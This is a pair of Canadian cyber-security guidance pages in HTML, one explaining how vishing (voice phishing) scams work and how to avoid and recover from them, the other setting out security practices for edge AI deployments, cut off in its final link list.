<article data-history-node-id="3396" about="/en/what-voice-phishing-vishing-itsap00102" class="cccs-basic-page full clearfix"> <div class="content"> <div class="layout layout–onecol"> <div class="layout__region layout__region–content"> <div data-block-plugin-id="extra_field_block:node:cccs_basic_page:links" class="block block-layout-builder block-extra-field-blocknodecccs-basic-pagelinks clearfix"> </div> <div data-block-plugin-id="field_block:node:cccs_basic_page:body" class="block block-layout-builder block-field-blocknodecccs-basic-pagebody clearfix"> <div class="field field–name-body field–type-text-with-summary field–label-hidden field–item"><!–ENGLISH Intro paragraph plus pdf download–> <div class="row"> <div class="col-md-4 pull-left hidden-xs hidden-sm"> <p class="text-left"><strong>July 2026</strong></p> </div> <div class="col-md-4 hidden-xs hidden-sm"> <p class="text-center"><strong>Awareness series</strong></p> </div> <div class="col-md-4 pull-right hidden-xs hidden-sm"> <p class="text-right"><strong>ITSAP.00.102</strong></p> </div> <!–MOBILE STARTS HERE–> <div class="hidden-lg hidden-md text-center"> <p><strong>July 2026 | Awareness series</strong></p> </div> </div> <section><p>Vishing is a type of social engineering technique that leverages voice communication technology. In a vishing attack, threat actors or “vishers” use fraudulent phone numbers, voice altering software and other social engineering tactics to entice people to share personal and sensitive information over the phone. Advanced vishing attacks exploit Voice over Internet Protocol (VoIP) technology to create fake phone numbers and spoof the caller ID so that the call appears to be from legitimate companies or institutions. <abbr title="Voice over Internet Protocol">VoIP</abbr> makes it easy for vishers to automate hundreds of scam calls over the internet and these numbers are hard to trace.</p> </section><section><h2 class="h3">On this page</h2> <ul><li><a href="#1">How vishing scams work</a></li> <li><a href="#2">Examples of vishing scams</a></li> <li><a href="#3">Tips for spotting and avoiding vishing scams</a></li> <li><a href="#4">How to recover from a vishing scam</a></li> <li><a href="#5">Learn more</a></li> </ul></section><div class="well well-lg mrgn-tp-lg"> <div class="row"> <h2 class="page-header mrgn-tp-0 mrgn-lft-md" id="1">How vishing scams work</h2> <p class="mrgn-lft-md">Vishing scams typically follow a predictable pattern. Attackers gather information, prepare a convincing impersonation and then contact the victim. Each stage is designed to make the call appear legitimate and to pressure the victim into acting quickly. Understanding these steps can help reduce the risk of being targeted.</p> <h3 class="mrgn-tp-xl mrgn-bttm-md">Step 1: Information gathering</h3> <p class="mrgn-lft-md">Vishers start by collecting phone numbers and background information. They often use a combination of automated tools and publicly available data. This information can support large-scale scam campaigns or more targeted attacks. In targeted vishing attempts, threat actors look for personal, work-related or role-specific details to make the call interaction more believable.</p> <p class="mrgn-lft-md">Common data collection methods include the following:</p> <ul><li><strong>Dumpster diving</strong> involves retrieving discarded documents or lists of phone numbers that were not securely destroyed</li> <li><strong>War dialing</strong> uses automated systems to call a range of phone numbers within a specific area code to identify active lines</li> <li><strong>Internet searches</strong> gather information from publicly available online sources, such as social media, video platforms, professional networking sites and organizational websites</li> <li><strong>Data breaches</strong> expose phone numbers, contact lists and personal or organizational information that may later be sold or shared among scammers</li> </ul></div> <div class="row"> <h3 class="mrgn-tp-lg mrgn-bttm-md">Step 2: Impersonation and voice manipulation</h3> <p class="mrgn-lft-md">Once enough information is collected, vishers prepare to impersonate a trusted source. This may involve posing as a coworker, supervisor, executive, service provider or government representative.</p> <p class="mrgn-lft-md">Threat actors often adjust their tone to match the situation to lower suspicion and encourage cooperation. They may sound:</p> <ul><li>calm and professional</li> <li>urgent and authoritative</li> <li>helpful and reassuring</li> </ul><p class="mrgn-lft-md mrgn-bttm-md">Threat actors use artificial intelligence (AI) technology and short audio samples to create a simulation of a person’s voice. This technique, also known as voice cloning, allows threat actors to impersonate people the victim knows or trusts to appear more legitimate.</p> </div> <div class="row"> <h3 class="mrgn-tp-lg mrgn-bttm-md">Step 3: Making the fraudulent call</h3> <p class="mrgn-lft-md">Once vishers have manipulated a voice, they will place phone calls in a way that makes them appear legitimate and routine. The conversation is designed to move quickly and limit opportunities for verification.</p> <p class="mrgn-lft-md">Threat actors plan and execute the call in a deliberate way, using a combination of technical tricks and social pressure to steer the conversation toward a specific outcome. As part of this approach, they may:</p> <ul><li>spoof caller ID information so the call appears to come from a trusted phone number, internal extension, or voicemail system</li> <li>select targets broadly or based on role and access, such as individuals who can approve payments or share sensitive information</li> <li>rely on prepared scripts to guide the conversation and lead the victim toward a specific action</li> <li>introduce urgency by claiming there is an immediate issue, such as a security problem, a payment concern, or a time sensitive request from leadership</li> </ul><p class="mrgn-lft-md mrgn-bttm-md">This combination of legitimacy and urgency increases the likelihood that the victim will act before stopping to verify the request.</p> </div> </div> <div class="panel panel-default mrgn-tp-lg"> <div class="panel-body"> <div class="row"> <div class="col-md-12"> <h2 class="mrgn-tp-sm">Scammers are after your:<br /> identity, passwords and money</h2> </div> </div> <div class="row"> <div class="col-md-12"> <p>Vishing can be part of a larger phishing attack, another social engineering technique, to steal money or data from individuals or organizations.</p> <p>To learn more about phishing, refer to <a href="/en/guidance/dont-take-bait-recognize-and-avoid-phishing-attacks">Don’t take the bait: Recognize and avoid phishing attacks – ITSAP.00.101</a> on our website.</p> </div> </div> </div> </div> <h2 class="mrgn-tp-md" id="2">Examples of vishing scams</h2> <p>Vishing aims to convince the victim to disclose confidential information, such as a personal identification number (PIN), Social Insurance Number (SIN), credit card information, or account passwords. This information can be used for identity fraud, to conduct unauthorized financial transactions, or to gain access to corporate or personal accounts. The list below provides some examples of common vishing scams:</p> <ul class="list-unstyled"><li><strong>Credential vishing</strong> <ul class="lst-none"><li>Vishers use this method to gain access to banking and credit card information. They will use these compromised credentials to login into your account, access funds, or make unauthorized purchases.</li> </ul></li> <li><strong>Government impersonation</strong> <ul class="lst-none"><li>Vishers pose as government employees, most frequently from departments dealing with taxes and personal finance. They will use scare tactics to convince you to pay for items like overdue or unpaid taxes or face legal consequences.</li> <li>Vishers also pose as members of law enforcement organizations and request your personal information which they can use for identity fraud.</li> </ul></li> <li><strong>Corporate extortions</strong> <ul class="lst-none"><li>Posing as the boss or company CEO, vishers will convince you to comply with your boss’ request (e.g., releasing funds, authorizing approvals for access to sensitive systems).</li> </ul></li> <li><strong>Telemarketing scams</strong> <ul class="lst-none"><li>Posing as a telemarketer or representative of a company, vishers will congratulate you on winning a contest and then ask for you to pay a redemption fee or provide your credit card information to reserve your prize.</li> </ul></li> <li><strong>Technical support scams</strong> <ul class="lst-none"><li>Posing as technical support employees for various organizations, vishers will often ask for personal or employment information to verify your identity. Vishers may even ask for your permission to access your device remotely to help install software. While doing so, they can download malicious software on your device that can trigger pop-up warnings that encourage you to call a number to fix a technical or security issue.</li> </ul></li> </ul><hr /><h2 class="mrgn-tp-md" id="3">Tips for spotting and avoiding vishing scams</h2> <p>The following tips outline practical steps you can take when handling suspicious phone calls.</p> <ul><li><strong>Be suspicious of callers asking for sensitive information.</strong> Do not share personal or organizational information such as usernames, passwords, one-time codes or banking details over the phone, unless you are certain it is a legitimate institution.</li> <li><strong>Hang up and call back using a known, trusted number.</strong> If a caller claims to be from a bank, vendor, IT support or government agency, end the call and contact the organization using a publicly listed phone number or official website. Do not use numbers provided by the caller or your phone’s callback option.</li> <li><strong>Use verification methods like safe words or call-back codes.</strong> For workplace or families, establish a shared word, code or call-back procedure to confirm someone’s identity before discussing sensitive matters. If the caller cannot pass the verification, assume the call is not legitimate.</li> <li><strong>Be wary of calls from unknown numbers or automated calls.</strong> Let the call go to voicemail if you do not recognize the number. Avoid using your phone’s callback function or phone numbers provided by the caller. Communicate with the site or service through a trusted contact method.</li> <li><strong>Watch for urgency or scare tactics.</strong> Vishers try to catch you off guard and make you feel you have no other options but to provide the requested information. Some may use threatening language to get you to act quickly. For example, they may say you must provide your information to avoid having your account deactivated.</li> <li><strong>Be cautious of poor audio quality or unnatural speech patterns.</strong> Calls with unusual delays, robotic voices or distorted audio may be scams. Hang up and wait to see if the caller calls back and leaves a voicemail, then verify independently.</li> <li><strong>Train staff and set clear phone-based verification processes.</strong> Educate employees on vishing tactics and how to respond. Put simple procedures in place for reporting suspicious calls and for verifying internal or partner requests made over the phone.</li> <li><strong>Use built-in phone protections.</strong> Most smartphones have spam-call filtering and call-blocking features. Enable these settings and report suspected scam calls to your phone provider when possible.</li> </ul><div class="clearfix"> </div> <div class="panel-body bg-info mrgn-tp-sm mrgn-bttm-lg"> <div class="row"> <div class="col-md-12"> <h2 class="mrgn-tp-0">STIR/SHAKEN</h2> <p>STIR stands for <strong>Secure Telephone Identity Revisited.</strong> SHAKEN stands for <strong>Signature-based Handling of Asserted Information using toKENs.</strong> As of November 30, 2021, the Canadian Radio-television and Telecommunications Commission (CRTC) required all telecommunications providers in Canada to implement this new technology to authenticate and validate <abbr title="Voice over Internet Protocol">VoIP</abbr> voice calls.</p> </div> </div> <div class="row"> <div class="col-md-12"> <h3 class="mrgn-tp-md">What does this mean?</h3> <p>Once your phone company implements STIR/SHAKEN they will be able to determine if a call is from a legitimate source and better inform customers of spam calls. This will enable you to make an informed decision about whether to respond to the unknown caller. As more phone companies implement STIR/SHAKEN, there should be a reduction in the volume of spam calls made over <abbr title="Voice over Internet Protocol">VoIP</abbr>.</p> </div> </div> </div> <h2 class="mrgn-tp-md" id="4">How to recover from a vishing scam</h2> <p>Vishing scams are designed to sound urgent and believable. Anyone can be affected, even people who are cautious and experienced. Acting quickly can help limit harm and protect your information.</p> <ul><li>Notify all your financial institutions related to the compromised accounts. Ask if the fraudulent transactions can be cancelled and block future charges.</li> <li>Change your passwords immediately for all affected accounts as well as other accounts that used the same compromised passwords.</li> <li>Monitor your financial accounts. Consider signing up with a credit monitoring service to alert you of potential fraudulent activity, especially if you have concerns that you’ve been a victim of identity theft.</li> <li><a href="https://antifraudcentre-centreantifraude.ca/">Report the scam to the Canadian Anti-Fraud Centre (CAFC)</a>. Document the phone number of the scammer as well as any websites you were asked to visit and provide this info to CAFC.</li> <li>Report the incident to your organization’s IT administrator if you think you might have revealed sensitive corporate information. Follow your organization’s protocol for reporting cyber incidents.</li> </ul><h2 class="mrgn-tp-md" id="5">Learn more</h2> <ul><li><a href="https://www.cyber.gc.ca/en/guidance/social-engineering-itsap00166">Social engineering (ITSAP.00.166)</a></li> <li><a href="https://www.cyber.gc.ca/en/guidance/protecting-yourself-identity-theft-online-itsap00033">Protecting yourself from identity theft online (ITSAP.00.033)</a></li> <li><a href="https://www.cyber.gc.ca/en/guidance/generative-artificial-intelligence-ai-itsap00041">Generative artificial intelligence (ITSAP.00.041)</a></li> </ul></div> </div> </div> </div> </div> </article>

Social engineering attacks occur when a threat actor uses social connection and manipulation to pressure users into providing sensitive details.

<article data-history-node-id="7979" about="/en/guidance/securely-deploying-ai-network-edge-itsp80101" class="cccs-basic-page full clearfix"> <div class="content"> <div class="layout layout–onecol"> <div class="layout__region layout__region–content"> <div data-block-plugin-id="extra_field_block:node:cccs_basic_page:links" class="block block-layout-builder block-extra-field-blocknodecccs-basic-pagelinks clearfix"> </div> <div data-block-plugin-id="field_block:node:cccs_basic_page:body" class="block block-layout-builder block-field-blocknodecccs-basic-pagebody clearfix"> <div class="field field–name-body field–type-text-with-summary field–label-hidden field–item"><div class="row"><!–Info across the top under the image–> <div class="col-md-4 col-sm-12 pull-left hidden-xs hidden-sm"> <p class="text-left"><strong>July 2026</strong></p> </div> <div class="col-md-4 col-sm-12 hidden-xs hidden-sm"> <p class="text-center"><strong>Practitioner series</strong></p> </div> <div class="col-md-4 col-sm-12 pull-right hidden-xs hidden-sm"> <p class="text-right"><strong>ITSP.80.101</strong></p> </div> <!–MOBILE STARTS HERE–> <div class="hidden-lg hidden-md text-center"> <p><strong>July 2026 | Practitioner series</strong></p> </div> </div> <div class="clearfix"> </div> <section><p>This publication sets out practical cyber security priorities for organizations that develop, deploy or operate artificial intelligence (AI) systems at the network edge. It is intended for practitioners, such as information technology (IT) and operational technology (OT) security managers, administrators and analysts, who are responsible for securing edge <abbr title="artificial intelligence">AI</abbr> deployments. Appendix A introduces core edge <abbr title="artificial intelligence">AI</abbr> categories and Appendix B provides representative use cases across sectors.</p> <p>This publication is designed to complement and extend the Canadian Centre for Cyber Security’s (Cyber Centre) foundational <abbr title="artificial intelligence">AI</abbr> security guidance <a href="/en/guidance/top-10-artificial-intelligence-security-actions-primer-itsap10049">Top 10 artificial intelligence security actions: A primer (ITSAP.10.049),</a> which addresses <abbr title="artificial intelligence">AI</abbr> security for general organizational contexts. This publication is organized into the same three security pillars that underpin <a href="/en/guidance/top-10-artificial-intelligence-security-actions-primer-itsap10049">ITSAP.10.049</a>:</p> <ul><li><strong>Pillar 1: </strong>Protecting against adversarial use of <abbr title="artificial intelligence">AI</abbr></li> <li><strong>Pillar 2: </strong>Protecting <abbr title="artificial intelligence">AI</abbr> systems</li> <li><strong>Pillar 3: </strong>Protecting users and business processes</li> </ul><p>We expect these pillars to remain foundational as <abbr title="artificial intelligence">AI</abbr> technologies and threats evolve. Rather than referencing specific action numbers from <a href="/en/guidance/top-10-artificial-intelligence-security-actions-primer-itsap10049">ITSAP.10.049</a>, which may periodically be revised, this publication aligns conceptually with those pillars, pointing readers to the relevant thematic areas where appropriate.</p> </section><section><details class="mrgn-tp-md"><summary><h2 class="h3">Table of contents</h2> </summary><ul class="list-unstyled"><li><a href="#1">Edge <abbr title="artificial intelligence">AI</abbr></a></li> <li><a href="#2">Cyber security guidelines for edge <abbr title="artificial intelligence">AI</abbr></a> <ul><li><a href="#2.1">Pillar 1: Protecting against adversarial use of <abbr title="artificial intelligence">AI</abbr></a></li> <li><a href="#2.2">Pillar 2: Protecting <abbr title="artificial intelligence">AI</abbr> systems</a></li> <li><a href="#2.3">Pillar 3: Protecting users and business processes</a></li> </ul></li> <li><a href="#3">The “1 device” exercise — Applying this guidance</a></li> <li><a href="#4">Summary</a></li> <li><a href="#5">Learn more</a></li> <li><a href="#AA">Appendix A: Key edge <abbr title="artificial intelligence">AI</abbr> categories</a></li> <li><a href="#AB">Appendix B: Edge <abbr title="artificial intelligence">AI</abbr> use cases (user and operator categories)</a></li> </ul></details></section><section><h2 id="1">Edge <abbr title="artificial intelligence">AI</abbr>  </h2> <p>Edge <abbr title="artificial intelligence">AI</abbr> refers to <abbr title="artificial intelligence">AI</abbr> that performs inference and decision-making on or near the device where data is generated, such as:</p> <ul><li>smartphones with on-device assistants</li> <li>industrial gateways and controllers</li> <li>autonomous vehicles and drones</li> <li>smart sensors</li> <li>medical diagnostic devices</li> </ul><p>AI models are usually trained centrally, in the cloud or on premises, and then deployed to the network edge.</p> <p>In practice, edge <abbr title="artificial intelligence">AI</abbr> is often hybrid. Devices process data locally but rely on the cloud for model updates, orchestration, telemetry or fallback support. Edge <abbr title="artificial intelligence">AI</abbr> is defined more by local inference and decision-making than by total independence from the cloud. Organizations adopt edge <abbr title="artificial intelligence">AI</abbr> because of its low latency, reduced bandwidth use, and stronger data residency. It is also resilient in the event of connectivity loss and offers mission-critical autonomy as well as potentially lower costs. However, privacy is not guaranteed with edge <abbr title="artificial intelligence">AI</abbr>, and the total cost of ownership can include the cost of shifting to device hardware, energy, and fleet lifecycle management.</p> <p>Edge <abbr title="artificial intelligence">AI</abbr> creates distinct security and safety challenges, which may include:</p> <ul><li>local processing can expose models and data to attackers</li> <li>offline operation can delay patching and oversight</li> <li>data may be less private</li> <li>autonomous systems may act faster than humans can intervene</li> </ul><p>These combined challenges can produce a materially different risk profile from cloud <abbr title="artificial intelligence">AI</abbr>, especially where devices operate in untrusted environments or controlled physical systems.</p> </section><!–** TOP OF PAGE ******–><div class="clearfix"> </div> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"></span></div> <!–** END TOP OF PAGE **–> <section><h2 id="2">Cyber security guidelines for edge <abbr title="artificial intelligence">AI</abbr></h2> <p>The guidelines below represent a practical baseline for organizations deploying edge <abbr title="artificial intelligence">AI</abbr>. Organizations may require additional technical, procedural and assurance controls, especially for sensitive or mission-critical systems. You should apply supplementary controls wherever the consequences of compromise, malfunction or misuse are severe.</p> <p>These guidelines are organized into pillars, consistent with <a href="/en/guidance/top-10-artificial-intelligence-security-actions-primer-itsap10049">ITSAP.10.049</a>:</p> <ul><li><strong>Pillar 1: Protecting against adversarial use of <abbr title="artificial intelligence">AI</abbr></strong> addresses how adversaries can exploit <abbr title="artificial intelligence">AI</abbr> systems and how organizations can use detection and monitoring to respond</li> <li><strong>Pillar 2: Protecting <abbr title="artificial intelligence">AI</abbr> systems</strong> focuses on securing models, software pipelines, devices, identities and supply chains</li> <li><strong>Pillar 3: Protecting users and business processes</strong> addresses safety, privacy, resilience and human oversight</li> </ul><h3 id="2.1">Pillar 1: Protecting against adversarial use of <abbr title="artificial intelligence">AI</abbr></h3> <p>This pillar addresses the reality that adversaries can use <abbr title="artificial intelligence">AI</abbr> to conduct faster, more adaptive and more frequent attacks. Edge <abbr title="artificial intelligence">AI</abbr> devices are especially exposed because they often operate in public or uncontrolled environments and may be difficult to patch or supervise continuously. Organizations should emphasize rapid detection, behavioural monitoring and adaptive protection at the device and fleet level.</p> <h4>Behaviour-based detection and protection of edge devices</h4> <p><strong>Objective:</strong> Detect and disrupt abnormal or malicious behaviour affecting edge devices, including attacks that adapt over time or use <abbr title="artificial intelligence">AI</abbr> to evade static controls.</p> <p>Deploy security controls that can identify suspicious behaviour rather than relying only on fixed signatures or static rules. Monitor device processes, network activity, command sequences, sensor outputs and usage patterns for signs of deviation from normal operation. Where feasible, use device- or fleet-level baselines so unusual behaviour can be flagged quickly even when a specific attack is not yet known.</p> <p>Prioritize protections that can respond dynamically, such as policy-based isolation, automated containment, rate limiting or failsafe mode activation when defined thresholds are exceeded. In environments with intermittent connectivity, ensure local protections can still function when cloud-based security services are unavailable. Review detections regularly to refine thresholds, reduce noise and adapt to changing device roles and operating conditions.</p> <p>Small and medium-sized organizations should:</p> <ul><li>enable built-in endpoint detection and response (EDR) or antivirus (for example, Microsoft 365 Defender)</li> <li>use simple network anomaly tools or a firewall’s intrusion prevention system to flag unusual device traffic</li> <li>start with basic rules (like new outbound connections and central processing unit (CPU) spikes) and auto-quarantine when these are triggered.</li> </ul><p><abbr title="information technology">IT</abbr> security practitioners should:</p> <ul><li>build per-device-class baselines in your security information and event management (SIEM)</li> <li>deploy <abbr title="endpoint detection and response">EDR</abbr> where supported</li> <li>use <abbr title="operational technology">OT</abbr> and Internet of Things (IoT) network intrusion detection for industrial equipment</li> <li>write detection rules for output distribution shifts, unusual protocol uses and sudden inference-rate changes</li> </ul><h4>Continuous monitoring and anomaly detection</h4> <p><strong>Objective:</strong> Gain visibility into edge <abbr title="artificial intelligence">AI</abbr> behaviour and detect security or safety issues early.</p> <p>Deploy monitoring capabilities on edge devices to capture both traditional security telemetry and <abbr title="artificial intelligence">AI</abbr>-specific signals. At a minimum, collect authentication events, resource usage, connectivity anomalies and errors. You should also collect model-related metrics such as inference counts, confidence levels, latency, decision logs or autonomous actions taken. Ensure the data can be transmitted securely, including store-and-forward mechanisms for intermittent connectivity.</p> <p>Define alert thresholds so serious events, such as failed integrity checks or dangerous deviations in behaviour, trigger immediate action. Lower-grade anomalies can then be reviewed without creating alert fatigue. Monitor for performance shifts, drift, unusual outputs or changing input patterns that may indicate sensor faults, adversarial interference or model degradation. Prepare <abbr title="artificial intelligence">AI</abbr>-specific incident response playbooks so responsible teams know how to isolate, investigate and safely recover affected systems.</p> <p>Small and medium-sized organizations should:</p> <ul><li>use a managed <abbr title="security information and event management">SIEM</abbr> or built-in cloud monitoring (such as Microsoft 365 Defender, Azure Sentinel or Elastic Cloud)</li> <li>collect system logs, application logs and basic health metrics</li> <li>set alerts for version or digital fingerprint (hash) changes as well as error spikes</li> </ul><p><abbr title="information technology">IT</abbr> security practitioners should:</p> <ul><li>define a telemetry schema (device posture, firmware and model hashes, attestation results, sensor health and inference statistics)</li> <li>sign and buffer logs and push to a <abbr title="security information and event management">SIEM</abbr></li> <li>build dashboards and anomaly rules for drift, tampering, and connectivity gaps</li> </ul><h3 id="2.2">Pillar 2: Protecting <abbr title="artificial intelligence">AI</abbr> systems</h3> <p>This pillar focuses on securing the <abbr title="artificial intelligence">AI</abbr> components, devices, software and supporting infrastructure that make edge <abbr title="artificial intelligence">AI</abbr> possible. Because <abbr title="artificial intelligence">AI</abbr> is often embedded in distributed devices, organizations need strong visibility, supply chain controls, integrity protections and identity governance to prevent compromise.</p> <h4>Identify and classify your edge <abbr title="artificial intelligence">AI</abbr> assets</h4> <p><strong>Objective:</strong> Know what edge <abbr title="artificial intelligence">AI</abbr> systems you have, where they run and the impact if they fail or are compromised.</p> <p>Conduct a comprehensive discovery exercise to identify all edge systems using any form of <abbr title="artificial intelligence">AI</abbr>, including rule-based automation, machine learning (ML), computer vision, sensor fusion or embedded <abbr title="artificial intelligence">AI</abbr> features, that may not be immediately apparent. For each edge system, document what it does, what could happen if it fails, whether it affects physical processes and whether fallback or manual control exists.</p> <p>Classify systems into clear risk tiers (safety-critical, business-critical or operational) so you can prioritize security efforts. Record architectural details and dependencies, including whether systems are fully local, hybrid edge-cloud, gateway-based or federated. Maintain this as a living inventory and connect it to change management so new <abbr title="artificial intelligence">AI</abbr> capabilities trigger review. This foundational step underpins every other security measure in this guidance.</p> <h4>Secure your <abbr title="artificial intelligence">AI</abbr> supply chain and maintain a dynamic bill of materials</h4> <p><strong>Objective:</strong> Know the origin and integrity of every component in your edge <abbr title="artificial intelligence">AI</abbr> stack and be ready to replace or update them quickly.</p> <p>Expand your inventory to include:</p> <ul><li>hardware</li> <li>firmware</li> <li>operating systems</li> <li><abbr title="artificial intelligence">AI</abbr> models</li> <li>libraries</li> <li>dependencies</li> <li>plug-ins</li> <li>datasets</li> <li>configuration files</li> </ul><p>Generate and maintain software bills of materials (SBOMs) and, where possible, model bills of materials (MBOMs) that capture provenance and versioning for <abbr title="artificial intelligence">AI</abbr> components. Update <abbr title="software bills of materials">SBOMs</abbr> and <abbr title="model bills of materials">MBOMs</abbr> whenever systems change.</p> <p>Vet third-party software, frameworks and pre-trained models before deploying them. This includes conducting vulnerability checks, supplier reviews and integrity validation through hashes or signatures. Monitor component vulnerabilities continuously and be prepared to patch, replace, disable or quarantine affected elements rapidly. Enforce that only approved and signed software and models can run on edge devices.</p> <h4>Govern non-human identities</h4> <p><strong>Objective:</strong> Manage credentials and identities used by <abbr title="artificial intelligence">AI</abbr> systems with the same rigour applied to human users.</p> <p>Audit all <abbr title="artificial intelligence">AI</abbr> agents, service accounts, bots, scripts and automated processes to determine how they authenticate and what they can access. Eliminate risky patterns such as shared human accounts, static credentials embedded in code or firmware and orphaned machine accounts that remain active after decommissioning.</p> <p>Assign every <abbr title="artificial intelligence">AI</abbr> system a unique identity, issue short-lived credentials where possible and automate rotation and revocation. Apply least privilege so <abbr title="artificial intelligence">AI</abbr> agents can access only the systems, data or commands they genuinely require. In higher-assurance environments, tie identity issuance to device or workload attestation so credentials are granted only when the system is in a trusted state.</p> <h4>Secure model disposal and apply cryptographic erasure</h4> <p><strong>Objective:</strong> Ensure retired edge <abbr title="artificial intelligence">AI</abbr> devices and models cannot be mined for data, credentials or intellectual property.</p> <p>Establish a formal decommissioning process for edge <abbr title="artificial intelligence">AI</abbr> devices that includes secure wiping, verification, documentation and credential revocation. Where supported, use hardware-based cryptographic erasure by destroying or invalidating encryption keys so stored data and models become unreadable. In highly sensitive cases, physically destroy storage media.</p> <p>Require secure storage and disposal capabilities during procurement so future devices support encryption and reliable key destruction. Also account for lost or stolen devices by enabling rapid remote wipe and immediate revocation of access. This extends security across the full lifecycle of the asset.</p> <h4>Harden <abbr title="artificial intelligence">AI</abbr> models, agents and control logic against theft and tampering</h4> <p><strong>Objective:</strong> Protect <abbr title="artificial intelligence">AI</abbr> models and related control components on edge devices from theft, tampering and manipulation.</p> <p>Use hardware-supported protections such as Secure Boot, full-disk encryption and trusted execution environments where available. Treat models, policies, configuration files and agent logic as critical software by signing them digitally and verifying signatures before loading. Where feasible, bind model or configuration encryption to individual devices so copied files cannot be reused elsewhere.</p> <p>Continuously verify integrity and monitor for unusual performance changes that may indicate tampering, unauthorized modification or adversarial manipulation. Protect rules, prompts, configuration files and models from unauthorized change through logging, write protection, checksums or digital signatures. Regularly test scenarios such as spoofed sensor data, malicious configuration changes or deceptive inputs to confirm that safeguards, fail-safes and alerts work as intended.</p> <h3 id="2.3">Pillar 3: Protecting users and business processes</h3> <p>This pillar addresses privacy, safety, reliability and governance. It recognizes that <abbr title="artificial intelligence">AI</abbr> can fail through drift, error, misuse or over-automation even when no malicious attack is involved. It emphasizes resilient processes and human control.</p> <h4>Implement data privacy and on-device processing controls</h4> <p><strong>Objective:</strong> Reduce unnecessary exposure of sensitive data and maintain control over how personal or sensitive information is processed.</p> <p>Map the dataflows of each edge <abbr title="artificial intelligence">AI</abbr> system, including:</p> <ul><li>what data is collected</li> <li>where data is stored</li> <li>whether personal or sensitive information is involved</li> <li>whether personal or sensitive information is transmitted to external servers or vendor platforms</li> </ul><p>Many devices ship with default cloud services enabled, so hidden data transfers must be identified and assessed.</p> <p>Prioritize local or on-premises processing for sensitive data using compact models or small language models where feasible. When external processing is required, route data only to approved environments that meet privacy, security and jurisdictional requirements. Monitor outbound traffic for unexpected destinations, encrypt data in transit and minimize exposure through anonymization, aggregation or data minimization where possible.</p> <h4>Secure the operational and information technology boundary and implement fail-safes</h4> <p><strong>Objective:</strong> Ensure that when <abbr title="artificial intelligence">AI</abbr> is integrated with <abbr title="operational technology">OT</abbr>, safety and reliability do not depend solely on <abbr title="artificial intelligence">AI</abbr>.</p> <p>Identify every point where edge <abbr title="artificial intelligence">AI</abbr> interacts with physical equipment or industrial control processes. For each interaction point, determine the worst-case outcome if the <abbr title="artificial intelligence">AI</abbr> fails or behaves unexpectedly, and confirm whether a safe fallback exists that does not rely on the <abbr title="artificial intelligence">AI</abbr> itself. Where gaps exist, add independent hardware or low-level safety controls such as emergency stops, spring-return valves or other default-safe mechanisms.</p> <p>Test <abbr title="artificial intelligence">AI</abbr> behaviour in simulated or controlled environments before live deployment, including under abnormal or adversarial conditions. Segment networks between <abbr title="artificial intelligence">AI</abbr> and <abbr title="operational technology">OT</abbr> systems, tightly limit communications and monitor for unauthorized or anomalous commands. Apply restraint and use <abbr title="artificial intelligence">AI</abbr> in <abbr title="operational technology">OT</abbr> only where it provides clear value that justifies the added complexity and risk.</p> <h4>Maintain human oversight and mechanical fail-safes</h4> <p><strong>Objective:</strong> Ensure humans can intervene, override or shut down autonomous edge <abbr title="artificial intelligence">AI</abbr> systems when necessary.</p> <p>Implement accessible kill switches, override controls or independent shutdown mechanisms for every autonomous or safety-relevant edge <abbr title="artificial intelligence">AI</abbr> system. These controls should not rely on the <abbr title="artificial intelligence">AI</abbr>’s cooperation and should be tested regularly. Define where human approval is required before <abbr title="artificial intelligence">AI</abbr>-initiated actions occur, especially for high-impact decisions.</p> <p>Train operators to understand <abbr title="artificial intelligence">AI</abbr> capabilities and limitations, including how to detect unreliable output, interpret alerts and assume manual control. Manage degrees of autonomy deliberately, assigning each system the appropriate level of independence for its risk profile. Maintain tamper-resistant logs of <abbr title="artificial intelligence">AI</abbr> actions and human interventions so incidents and near-misses can be reviewed and used to improve both technology and process.</p> </section><!–** TOP OF PAGE ******–><div class="clearfix"> </div> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"></span></div> <!–** END TOP OF PAGE **–> <section><h2 id="3">The “1 device” exercise — Applying this guidance</h2> <p>After reviewing these guidelines, apply them to one real edge <abbr title="artificial intelligence">AI</abbr> device in your environment. Choose a representative or high-impact system and answer the following four questions:</p> <ol><li>What decisions does the device make autonomously?</li> <li>What inputs influence those decisions?</li> <li>What happens if the device fails or is compromised?</li> <li>What fallback exists if the <abbr title="artificial intelligence">AI</abbr> stops working or can no longer be trusted?</li> </ol><p>Document the findings and use them to prioritize action. If you discover weak or unvalidated inputs, strengthen detection, integrity controls and monitoring. If consequences are severe and fallback is weak, prioritize safety mechanisms, segmentation and human override. For sensitive, safety-critical or mission-critical systems, use this exercise to identify additional controls beyond those outlined in this publication to close residual gaps.</p> </section><section><h2 id="4">Summary</h2> <p>Edge <abbr title="artificial intelligence">AI</abbr> offers significant operational benefits, but it also places more responsibility on the deploying organization for security, safety and resilience. By applying these edge <abbr title="artificial intelligence">AI</abbr> cyber security guidelines, organizations can better defend against <abbr title="artificial intelligence">AI</abbr>-enabled threats, secure their <abbr title="artificial intelligence">AI</abbr> systems and supply chains, as well as preserve privacy, human oversight and operational continuity.</p> <p>Under Pillar 1, organizations should improve visibility, dynamic detection and anomaly response to keep pace with increasingly adaptive attacks. Under Pillar 2, they should manage <abbr title="artificial intelligence">AI</abbr> devices, models, components, identities and control logic as critical assets. Under Pillar 3, they should ensure that <abbr title="artificial intelligence">AI</abbr> adoption does not erode privacy, safety, trust or human control. When implemented together, these guidelines can help organizations take a principled and adaptable approach to securing edge <abbr title="artificial intelligence">AI</abbr> as technologies and threats continue to evolve.</p> </section><section><h2 id="5">Learn more</h2> <ul><li><a href="/en/guidance/top-10-artificial-intelligence-security-actions-primer-itsap10049">Top 10 artificial intelligence security actions: A primer (ITSAP.10.049)</a></li> <li><a href="/en/guidance/security-considerations-edge-devices-itsm80101">Security considerations for edge devices (ITSM.80.101)</a></li> <li><a href="/en/guidance/firewall-security-considerations-itsap80039">Firewall security considerations (ITSAP.80.039)</a></li> <li><a href="/en/guidance/routers-cyber-security-best-practices-itsap80019">Router cyber security best practices (ITSAP.80.019)</a></li> <li><a href="/en/guidance/network-security-logging-monitoring-itsap80085">Network security logging and monitoring (ITSAP.80.085)</a></li> <li><a href="/en/guidance/how-updates-secure-your-device-itsap10096">How updates secure your device (ITSAP.10.096)</a></li> <li>Cybersecurity and 